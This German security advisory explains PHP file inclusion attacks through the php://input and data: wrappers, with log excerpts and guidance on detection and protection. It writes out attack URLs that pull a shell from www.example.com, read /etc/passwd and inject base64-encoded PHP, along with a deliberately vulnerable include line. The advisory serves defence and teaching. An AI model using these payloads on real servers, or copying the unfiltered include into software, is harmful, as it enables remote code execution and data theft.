Angriffe auf Webserver durch PHP Input Wrapper

Während Angriffe auf PHP-Anwendungen inzwischen sehr bekannt sind, bei denen eine Datei über das Netzwerk in die Anwendung injiziert wird (PHP file inclusion), ist der Angriff über Input Wrapper (siehe [1]) unseres Wissens nach weniger bekannt. Dies nehmen wir als Anlass, diese Angriffsart in diesem Advisory näher zu beschreiben. Von der Angriffsmethode sind insbesondere ältere Webserver-Installation mit PHP-Anwendungen betroffen.

Grundlagen

Häufig werden Web-Seiten durch Content-Management-Systeme (CMS) über ein zentrales PHP-Skript eingebunden. Technisch wird häufig ein Parameter mit dem Dateinamen oder Teilen davon an das Skript (z.B. index.php) übergeben, beispielsweise:

http://www.beispiel.de/index.php?seite=beispiel.html

Dieses lädt die Seite dann über ein PHP-Kommando ein. Dabei wird die Seite im Skript index.php in der Regel durch ein "include" oder "require" eingebunden, zum Beispiel:

include $_REQUEST['seite’];

In der obigen Zeile wird ohne weitere Prüfung die Datei geladen, deren Name in der URL als Parameter angegeben wird (oben "beispiel.html"). Die Schwachstelle ist, dass ein Angreifer hier einen beliebigen anderen Namen angeben kann. Ist die Option "allow_url_fopen" nicht deaktiviert, kann ein Angreifer zum Beispiel PHP-Code von einem Server über das Netzwerk nachladen. Beispielsweise könnte ein derartiger Angriff in den Logs folgendermassen aussehen:

- - [17/Jan/2009] "GET /index.php?seite=http%3A%2F%2Fwww.example.com%2Fphp_shell
HTTP/1.1" 200 7046 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" 0

In diesem Beispiel wird Code von dem Server www.example.com geladen und ausgeführt. Voraussetzung ist, dass die Anwendung analog zu dem obigen Beispiel verwundbar ist.

Weiterhin können beliebige andere lokale Dateien eingebunden werden, beispielsweise:

http://www.beispiel.de/index.php?seite=/etc/passwd

Weniger bekannt ist die Ausnutzung der Schwachstelle durch den PHP Input Wrapper "php://input". Dieser Wrapper liest den Request-Body von HTTP-Post Requests. In dem Request-Body werden beispielsweise die Formulardaten von Eingebefeldern von einem Browser zum Webserver gesendet.

Angriff über PHP Input Wrapper

Wir gehen wieder von der vorher gezeigten Schwachstelle in index.php aus. Wird ein Post Request an die URL

http://www.beispiel.de/index.php?seite=php://input

gesendet, wird der Inhalt des Request-Bodies als Inhalt in die Seite dynamisch eingebunden. Da der Angreifer den Inhalt des Request-Bodies beliebig wählen kann, ermöglicht dies, beliebigen PHP-Code in die Seite einzufügen. D.h. der Angreifer kann durch Senden eines einzelnen POST-Requests an die Seite beliebigen PHP-Code injizieren und damit beliebige Befehle auf dem Server mit den Rechten des Server-Prozesses ausführen. In den Logs zeigt sich der Angriff wie folgt:

- - [17/Jun/2009] "POST /index.php?seite=php://input HTTP/1.1" 200 5243
- "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)" 0

Da der Request-Body nicht mitprotokolliert wird, gibt die Zeile keinen Hinweis auf die ausgeführten Aktionen des Angreifers. Die Zeile ist zwar ein eindeutiger Hinweis auf einen Angriff. Allerdings belegt sie nicht den Erfolg des Angriffs. Hinweise auf einen erfolgreichen Angriff sind nicht autorisierte Änderungen im Dateisystem oder Prozesse, die zum gleichen Zeitpunkt gestartet wurden.

Ein weiterer sicherheitskritischer Input Wrapper "data:" wird in [2] genannt. Dieser Wrapper dekodiert Zeichenketten für die PHP-Anwendung. Beispielsweise wird in dem PHP-Codeauszug

include "data:;base64,PD9waHAgcGhwaW5mbygpOz8+";

zuerst die Zeichenkette "PD9waHAgcGhwaW5mbygpOz8+" dekodiert. Das Ergebnis "<?php phpinfo();?>" wird danach ausgewertet und die PHP-Konfiguration als Ausgabe in die Seite eingefügt. Angriffe sehen in den Logs so aus:

192.168.1.2 - - [18/Jun/2009:09:50:21 +0200]
"[POST|GET] /test.php?page=data%3A%3Bbase64%2CPD9waHAgcGhwaW5mbygpOz8%2B
HTTP/1.1" 200 62566

Auch hier ist das Vorhandensein der Zeile nur ein Indiz für einen Angriff und nicht für dessen Erfolg. Allerdings kann hier die Aktion des Angreifers sichtbar gemacht werden: Die obige Zeile nach URL-Dekodierung ist:

page=data:;base64,PD9waHAgcGhwaW5mbygpOz8+

Dabei ist "PD9waHAgcGhwaW5mbygpOz8+" die Base64-kodierte Aktion, die dekodiert wieder "<?php phpinfo();?>" ergibt.

Betroffene Systeme und Schutz

Betroffen sind Webserver unter den folgenden Voraussetzungen:

  • Entweder ist eine ältere PHP Version 4.x oder vor 5.2 installiert. Oder die Option "allow_url_include" ist bei neueren PHP-Versionen aktiviert (nicht die Default-Einstellung).
  • Eine PHP-Anwendung läuft, die den Dateinamen der einzubindenden Seite nicht ausreichend filtert. Verwundbar sind speziell selbsterstellte oder einfache PHP Content-Management-Systeme (CMS).

Alle PHP-Installationen ab 5.2 bieten die Option "allow_url_include", die vor dem Ausnutzen schützt. Ist diese Option deaktiviert, werden die Input Wrapper von PHP nicht ausgewertet. Voraussetzung für den Schutz ist also, dass diese Option deaktiviert ist, was per Default der Fall ist. In älteren PHP-Versionen ist diese Option nicht vorhanden und die Input Wrapper lassen sich nicht deaktivieren. Einziger Schutz ist damit die Absicherung der PHP-Anwendungen (beispielsweise durch Bereinigen der Include-Variablen). Ob diese Option existiert und deaktivert ist, läßt sich mittels der Funktion phpinfo() herausfinden, die die aktuelle PHP-Konfiguration anzeigt. Bitte beachten Sie, dass Deaktivieren von "allow_url_fopen" keinen Schutz bietet.

Allgemein öffnen sich bei der Verwendung der "include" und "require" Kommandos in PHP viele Fehlerquellen. Dabei ist der Hauptfehler, importierte Daten nicht ausreichend zu filtern. Dies gilt insbesondere für alle Daten, die ein Angreifer manipulieren oder beeinflussen kann. Verwundbarer Beispielcode und Referenzen zur sicheren Erstellung von PHP-Skripten finden sich beispielsweise in [3].

Referenzen

[1] PHP input/output streams:
http://us.php.net/manual/en/wrappers.php.php

[2] PHP Security Blog:
http://blog.php-security.org/archives/45-PHP-5.2.0-and-allow_url_include.html

[3] Owasp: Top 10 2007-Malicious File Execution:
http://www.owasp.org/index.php/Top_10_2007-A3